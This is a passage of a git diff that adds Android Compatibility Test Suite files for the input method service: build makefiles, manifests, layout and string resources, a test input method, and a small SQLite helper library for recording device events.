+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_JAVA_RESOURCE_DIR := res
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    CtsInputMethodServiceCommon \
+    CtsInputMethodServiceLib
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsInputMethod2
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
new file mode 100755
index 0000000..a166ba3
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.inputmethodservice.cts.ime2">
+
+    <!--
+      TODO: We may need to have another new APK that has the latest targetSdkVersion to check the
+      latest OS behaviors.
+    -->
+    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="25" />
+
+    <application
+        android:label="@string/ime_name"
+        android:allowBackup="false"
+        android:theme="@android:style/Theme.InputMethod"
+    >
+        <service
+            android:name=".CtsInputMethod2"
+            android:label="@string/ime_name"
+            android:permission="android.permission.BIND_INPUT_METHOD">
+            <intent-filter>
+                <action android:name="android.view.InputMethod" />
+            </intent-filter>
+            <meta-data
+                android:name="android.view.im"
+                android:resource="@xml/ime2" />
+        </service>
+    </application>
+
+</manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/res/layout/input_view.xml b/hostsidetests/inputmethodservice/deviceside/ime2/res/layout/input_view.xml
new file mode 100644
index 0000000..ebd8810
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/res/layout/input_view.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<RelativeLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:background="@android:color/holo_blue_dark"
+    android:padding="80dp"
+>
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_centerInParent="true"
+        android:textSize="72sp"
+        android:gravity="center"
+        android:id="@+id/ime_name"
+        android:text="@string/ime_name" />
+</RelativeLayout>
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/res/values/colors.xml b/hostsidetests/inputmethodservice/deviceside/ime2/res/values/colors.xml
new file mode 100644
index 0000000..903407a
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/res/values/colors.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<resources>
+    <color name="input_view_background">@android:color/holo_blue_dark</color>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/res/values/strings.xml b/hostsidetests/inputmethodservice/deviceside/ime2/res/values/strings.xml
new file mode 100644
index 0000000..436943f
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/res/values/strings.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<resources>
+    <string name="ime_name" translatable="false">IME2</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/res/xml/ime2.xml b/hostsidetests/inputmethodservice/deviceside/ime2/res/xml/ime2.xml
new file mode 100644
index 0000000..3cbef44
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/res/xml/ime2.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright (C) 2017 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+-->
+
+<input-method xmlns:android="http://schemas.android.com/apk/res/android"
+    android:supportsSwitchingToNextInputMethod="true">
+</input-method>
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/src/android/inputmethodservice/cts/ime2/CtsInputMethod2.java b/hostsidetests/inputmethodservice/deviceside/ime2/src/android/inputmethodservice/cts/ime2/CtsInputMethod2.java
new file mode 100644
index 0000000..74a197d
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/src/android/inputmethodservice/cts/ime2/CtsInputMethod2.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.ime2;
+
+import android.inputmethodservice.cts.ime.CtsBaseInputMethod;
+import android.view.View;
+
+public final class CtsInputMethod2 extends CtsBaseInputMethod {
+
+    @Override
+    public View onCreateInputView() {
+        return getLayoutInflater().inflate(R.layout.input_view, null /* root */);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/Android.mk b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
new file mode 100644
index 0000000..0223d0d
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-annotations \
+    CtsInputMethodServiceCommon
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MODULE := CtsInputMethodServiceLib
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
new file mode 100644
index 0000000..b6098f9
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/DeviceEvent.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts;
+
+import static android.inputmethodservice.cts.common.DeviceEventConstants.ACTION_DEVICE_EVENT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TIME;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_TYPE;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_EVENT_SENDER;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_CLASS;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_PACKAGE;
+
+import android.content.ContentValues;
+import android.content.Intent;
+import android.database.Cursor;
+import android.inputmethodservice.cts.common.DeviceEventConstants;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
+import android.inputmethodservice.cts.common.test.TestInfo;
+import android.inputmethodservice.cts.db.Entity;
+import android.inputmethodservice.cts.db.Field;
+import android.inputmethodservice.cts.db.Table;
+import android.os.SystemClock;
+import android.support.annotation.NonNull;
+import android.util.Log;
+
+import java.util.function.Predicate;
+import java.util.stream.Stream;
+
+/**
+ * Device event object.
+ * <p>Device event is one of IME event and Test event, and is used to test behaviors of Input Method
+ * Framework.</p>
+ */
+public final class DeviceEvent {
+
+    private static final boolean DEBUG_STREAM = false;
+
+    public static final Table<DeviceEvent> TABLE = new DeviceEventTable(EventTableConstants.NAME);
+
+    /**
+     * Create an intent to send a device event.
+     * @param sender an event sender.
+     * @param type an event type defined at {@link DeviceEventType}.
+     * @return an intent that has event {@code sender}, {@code type}, time from
+     *         {@link SystemClock#uptimeMillis()}, and target component of event receiver.
+     */
+    public static Intent newDeviceEventIntent(@NonNull final String sender,
+            @NonNull final DeviceEventType type) {
+        return new Intent()
+                .setAction(ACTION_DEVICE_EVENT)
+                .setClassName(RECEIVER_PACKAGE, RECEIVER_CLASS)
+                .putExtra(EXTRA_EVENT_SENDER, sender)
+                .putExtra(EXTRA_EVENT_TYPE, type.name())
+                .putExtra(EXTRA_EVENT_TIME, SystemClock.uptimeMillis());
+    }
+
+    /**
+     * Create an {@link DeviceEvent} object from an intent.
+     * @param intent a device event intent defined at {@link DeviceEventConstants}.
+     * @return {@link DeviceEvent} object that has event sender, type, and time form an
+     *         {@code intent}.
+     */
+    public static DeviceEvent newEvent(final Intent intent) {
+        final String sender = intent.getStringExtra(EXTRA_EVENT_SENDER);
+        if (sender == null) {
+            throw new IllegalArgumentException(
+                    "Intent must have " + EXTRA_EVENT_SENDER + ": " + intent);
+        }
+
+        final String typeString = intent.getStringExtra(EXTRA_EVENT_TYPE);
+        if (typeString == null) {
+            throw new IllegalArgumentException(
+                    "Intent must have " + EXTRA_EVENT_TYPE + ": " + intent);
+        }
+        final DeviceEventType type = DeviceEventType.valueOf(typeString);
+
+        if (!intent.hasExtra(EXTRA_EVENT_TIME)) {
+            throw new IllegalArgumentException(
+                    "Intent must have " + EXTRA_EVENT_TIME + ": " + intent);
+        }
+
+        return new DeviceEvent(sender, type, intent.getLongExtra(EXTRA_EVENT_TIME, 0L));
+    }
+
+    /**
+     * Build {@link ContentValues} object from {@link DeviceEvent} object.
+     * @param event a {@link DeviceEvent} object to be converted.
+     * @return a converted {@link ContentValues} object.
+     */
+    public static ContentValues buildContentValues(final DeviceEvent event) {
+        return TABLE.buildContentValues(event);
+    }
+
+    /**
+     * Build {@link Stream<DeviceEvent>} object from {@link Cursor} comes from Content Provider.
+     * @param cursor a {@link Cursor} object to be converted.
+     * @return a converted {@link Stream<DeviceEvent>} object.
+     */
+    public static Stream<DeviceEvent> buildStream(final Cursor cursor) {
+        return TABLE.buildStream(cursor);
+    }
+
+    /**
+     * Build {@link Predicate<DeviceEvent>} whether a device event comes from {@code sender}
+     *
+     * @param sender event sender.
+     * @return {@link Predicate<DeviceEvent>} object.
+     */
+    public static Predicate<DeviceEvent> isFrom(final String sender) {
+        return e -> e.sender.equals(sender);
+    }
+
+    /**
+     * Build {@link Predicate<DeviceEvent>} whether a device event has an event {@code type}.
+     *
+     * @param type a event type defined in {@link DeviceEventType}.
+     * @return {@link Predicate<DeviceEvent>} object.
+     */
+    public static Predicate<DeviceEvent> isType(final DeviceEventType type) {
+        return e -> e.type == type;
+    }
+
+    /**
+     * Build {@link Predicate<DeviceEvent>} whether a device event is newer than or equals to
+     * {@code time}.
+     *
+     * @param time a time to compare against.
+     * @return {@link Predicate<DeviceEvent>} object.
+     */
+    public static Predicate<DeviceEvent> isNewerThan(final long time) {
+        return e -> e.time >= time;
+    }
+
+    /**
+     * Event source, either Input Method class name or {@link TestInfo#getTestName()}.
+     */
+    @NonNull
+    public final String sender;
+
+    /**
+     * Event type, either IME event or Test event.
+     */
+    @NonNull
+    public final DeviceEventType type;
+
+    /**
+     * Event time, value is from {@link SystemClock#uptimeMillis()}.
+     */
+    public final long time;
+
+    private DeviceEvent(final String sender, final DeviceEventType type, final long time) {
+        this.sender = sender;
+        this.type = type;
+        this.time = time;
+    }
+
+    @Override
+    public String toString() {
+        return "Event{ time:" + time + " type:" + type + " sender:" + sender + " }";
+    }
+
+    /**
+     * Abstraction of device event table in database.
+     */
+    private static final class DeviceEventTable extends Table<DeviceEvent> {
+
+        private static final String LOG_TAG = DeviceEventTable.class.getSimpleName();
+
+        private final Field SENDER;
+        private final Field TYPE;
+        private final Field TIME;
+
+        private DeviceEventTable(final String name) {
+            super(name, new Entity.Builder<DeviceEvent>()
+                    .addField(EventTableConstants.SENDER, Cursor.FIELD_TYPE_STRING)
+                    .addField(EventTableConstants.TYPE, Cursor.FIELD_TYPE_STRING)
+                    .addField(EventTableConstants.TIME, Cursor.FIELD_TYPE_INTEGER)
+                    .build());
+            SENDER = getField(EventTableConstants.SENDER);
+            TYPE = getField(EventTableConstants.TYPE);
+            TIME = getField(EventTableConstants.TIME);
+        }
+
+        @Override
+        public ContentValues buildContentValues(final DeviceEvent event) {
+            final ContentValues values = new ContentValues();
+            SENDER.putString(values, event.sender);
+            TYPE.putString(values, event.type.name());
+            TIME.putLong(values, event.time);
+            return values;
+        }
+
+        @Override
+        public Stream<DeviceEvent> buildStream(Cursor cursor) {
+            if (DEBUG_STREAM) {
+                Log.d(LOG_TAG, "buildStream:");
+            }
+            final Stream.Builder<DeviceEvent> builder = Stream.builder();
+            for (cursor.moveToFirst(); !cursor.isAfterLast(); cursor.moveToNext()) {
+                final DeviceEvent event = new DeviceEvent(
+                        SENDER.getString(cursor),
+                        DeviceEventType.valueOf(TYPE.getString(cursor)),
+                        TIME.getLong(cursor));
+                builder.accept(event);
+                if (DEBUG_STREAM) {
+                    Log.d(LOG_TAG, " event=" +event);
+                }
+            }
+            return builder.build();
+        }
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Database.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Database.java
new file mode 100644
index 0000000..4cda050
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Database.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.db;
+
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.database.sqlite.SQLiteDatabase;
+import android.database.sqlite.SQLiteOpenHelper;
+import android.support.annotation.NonNull;
+
+import java.util.List;
+
+/**
+ * Abstraction of SQLite database.
+ */
+public abstract class Database {
+
+    private final SQLiteOpenHelper mHelper;
+
+    public Database(final Context context, final String name, final int version) {
+        mHelper = new SQLiteOpenHelper(context, name, null /* factory */, version) {
+            @Override
+            public void onCreate(final SQLiteDatabase db) {
+                db.beginTransaction();
+                try {
+                    for (final Table table : getTables()) {
+                        db.execSQL(table.createTableSql());
+                    }
+                    db.setTransactionSuccessful();
+                } finally {
+                    db.endTransaction();
+                }
+            }
+
+            @Override
+            public void onUpgrade(final SQLiteDatabase db, final int oldVersion,
+                    final int newVersion) {
+                // nothing to do so far.
+            }
+        };
+    }
+
+    @NonNull
+    protected abstract List<Table> getTables();
+
+    public Cursor query(final String table, final String[] projection, final String selection,
+            final String[] selectionArgs, final String orderBy) {
+        return mHelper.getReadableDatabase()
+                .query(table, projection, selection, selectionArgs, null /* groupBy */,
+                        null /* having */, orderBy);
+    }
+
+    public long insert(final String table, final ContentValues values) {
+        return mHelper.getWritableDatabase().insert(table, null /* nullColumnHack */, values);
+    }
+
+    public int delete(final String table, final String selection, final String[] selectionArgs) {
+        return mHelper.getWritableDatabase().delete(table, selection, selectionArgs);
+    }
+
+    public int update(final String table, final ContentValues values, final String selection,
+            final String[] selectionArgs) {
+        return mHelper.getWritableDatabase().update(table, values, selection, selectionArgs);
+    }
+
+    public void close() {
+        mHelper.close();
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Entity.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Entity.java
new file mode 100644
index 0000000..9326b29
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Entity.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.db;
+
+import android.database.Cursor;
+import android.provider.BaseColumns;
+import android.support.annotation.NonNull;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Abstraction of SQLite database row.
+ */
+public final class Entity<E> {
+
+    private final List<Field> mFields;
+    private final Map<String, Field> mFieldMap;
+
+    private Entity(final Builder<E> builder) {
+        mFields = builder.mFields;
+        mFieldMap = builder.mFieldMap;
+    }
+
+    /**
+     * Returns SQL statement to create this entity/row, such that
+     * "(_id INTEGER PRIMARY KEY AUTOINCREMENT, column2_name column2_type, ...)".
+     */
+    public String createEntitySql() {
+        final StringBuilder sb = new StringBuilder("(");
+        for (final Field field : mFields) {
+            if (field.pos > 0) sb.append(", ");
+            sb.append(field.name).append(" ").append(field.sqLiteType);
+            if (field.name.equals(BaseColumns._ID)) {
+                sb.append(" PRIMARY KEY AUTOINCREMENT");
+            }
+        }
+        return sb.append(")").toString();
+    }
+
+    public Field getField(final String fieldName) {
+        return mFieldMap.get(fieldName);
+    }
+
+    /**
+     * {@link Entity} builder.
+     */
+    public static final class Builder<E> {
+        private final List<Field> mFields = new ArrayList<>();
+        private final Map<String, Field> mFieldMap = new HashMap<>();
+        private int mPos = 0;
+
+        public Builder() {
+            addFieldInternal(BaseColumns._ID, Cursor.FIELD_TYPE_INTEGER);
+        }
+
+        public Builder<E> addField(@NonNull final String name, final int fieldType) {
+            addFieldInternal(name, fieldType);
+            return this;
+        }
+
+        public Entity<E> build() {
+            return new Entity<>(this);
+        }
+
+        private void addFieldInternal(final String name, final int fieldType) {
+            if (mFieldMap.containsKey(name)) {
+                throw new IllegalArgumentException("Field " + name + " already exists at "
+                        + mFieldMap.get(name).pos);
+            }
+            final Field field = Field.newInstance(mPos++, name, fieldType);
+            mFields.add(field);
+            mFieldMap.put(field.name, field);
+        }
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Field.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Field.java
new file mode 100644
index 0000000..2c69060
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Field.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.db;
+
+import android.content.ContentValues;
+import android.database.Cursor;
+
+/**
+ * Abstraction of SQLite database column.
+ */
+public abstract class Field {
+
+    /** Field position in a row. */
+    final int pos;
+
+    /** Column name of this field. */
+    final String name;
+
+    /** Field type of SQLite. */
+    final String sqLiteType;
+
+    public static Field newInstance(final int pos, final String name, final int fieldType) {
+        switch (fieldType) {
+            case Cursor.FIELD_TYPE_INTEGER:
+                return new IntegerField(pos, name);
+            case Cursor.FIELD_TYPE_STRING:
+                return new StringField(pos, name);
+            default:
+                throw new IllegalArgumentException("Unknown field type: " + fieldType);
+        }
+    }
+
+    private Field(final int pos, final String name, final int fieldType) {
+        this.pos = pos;
+        this.name = name;
+        this.sqLiteType = toSqLiteType(fieldType);
+    }
+
+    public long getLong(final Cursor cursor) {
+        throw buildException(Cursor.FIELD_TYPE_INTEGER);
+    }
+
+    public String getString(final Cursor cursor) {
+        throw buildException(Cursor.FIELD_TYPE_STRING);
+    }
+
+    public void putLong(final ContentValues values, final long value) {
+        throw buildException(Cursor.FIELD_TYPE_INTEGER);
+    }
+
+    public void putString(final ContentValues values, final String value) {
+        throw buildException(Cursor.FIELD_TYPE_STRING);
+    }
+
+    private UnsupportedOperationException buildException(final int expectedFieldType) {
+        return new UnsupportedOperationException("Illegal type: " + name + " is " + sqLiteType
+                + ", expected " + toSqLiteType(expectedFieldType));
+    }
+
+    private static String toSqLiteType(final int fieldType) {
+        switch (fieldType) {
+            case Cursor.FIELD_TYPE_NULL:
+                return "NULL";
+            case Cursor.FIELD_TYPE_INTEGER:
+                return "INTEGER";
+            case Cursor.FIELD_TYPE_FLOAT:
+                return "REAL";
+            case Cursor.FIELD_TYPE_STRING:
+                return "TEXT";
+            case Cursor.FIELD_TYPE_BLOB:
+                return "BLOB";
+            default:
+                throw new IllegalArgumentException("Unknown field type: " + fieldType);
+        }
+    }
+
+    /**
+     * Abstraction of INTEGER type field.
+     */
+    private static final class IntegerField extends Field {
+
+        IntegerField(final int pos, final String name) {
+            super(pos, name, Cursor.FIELD_TYPE_INTEGER);
+        }
+
+        @Override
+        public long getLong(final Cursor cursor) {
+            return cursor.getLong(pos);
+        }
+
+        @Override
+        public void putLong(final ContentValues values, final long value) {
+            values.put(name, value);
+        }
+    }
+
+    /**
+     * Abstraction of STRING type field.
+     */
+    private static final class StringField extends Field {
+
+        StringField(final int pos, final String name) {
+            super(pos, name, Cursor.FIELD_TYPE_STRING);
+        }
+
+        @Override
+        public String getString(final Cursor cursor) {
+            return cursor.getString(pos);
+        }
+
+        @Override
+        public void putString(final ContentValues values, final String value) {
+            values.put(name, value);
+        }
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Table.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Table.java
new file mode 100644
index 0000000..c756790
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/db/Table.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.inputmethodservice.cts.db;
+
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.support.annotation.NonNull;
+
+import java.util.stream.Stream;
+
+/**
+ * Abstraction of SQLite database table.
+ */
+public abstract class Table<E> {
+
+    public final String mName;
+    private final Entity<E> mEntity;
+
+    protected Table(final String name, final Entity<E> entity) {
+        mName = name;
+        mEntity = entity;
+    }
+
+    public String name() {
+        return mName;
+    }
+
+    public abstract ContentValues buildContentValues(final E entity);
+
+    public abstract Stream<E> buildStream(final Cursor cursor);
+
+    /**
+     * Returns SQL statement to create this table, such that
+     * "CREATE TABLE IF NOT EXISTS table_name \
+     *  (_id INTEGER PRIMARY KEY AUTOINCREMENT, column2_name column2_type, ...)"
+     */
+    @NonNull
+    public String createTableSql() {
+        return "CREATE TABLE IF NOT EXISTS " + mName + " " + mEntity.createEntitySql();
+    }
+
+    protected Field getField(final String fieldName) {
+        return mEntity.getField(fieldName);
+    }
+}
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
new file mode 100644
index 0000000..6ae3568
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/CtsBaseInputMethod.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.inputmethodservice.cts.ime;
+
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_CREATE;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_DESTROY;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_FINISH_INPUT_VIEW;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT;
+import static android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType.ON_START_INPUT_VIEW;
+
+import android.content.Intent;
+import android.inputmethodservice.InputMethodService;
+import android.inputmethodservice.cts.DeviceEvent;
+import android.inputmethodservice.cts.common.DeviceEventConstants.DeviceEventType;
+import android.inputmethodservice.cts.ime.ImeCommandReceiver.ImeCommandCallbacks;
+import android.util.Log;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputConnection;
+
+import java.util.function.Consumer;
+
+public abstract class CtsBaseInputMethod extends InputMethodService implements ImeCommandCallbacks {
+
+    protected static final boolean DEBUG = false;
+
+    private final ImeCommandReceiver<CtsBaseInputMethod> mImeCommandReceiver =
+            new ImeCommandReceiver<>();
+    private String mLogTag;
+
+    @Override
+    public void onCreate() {
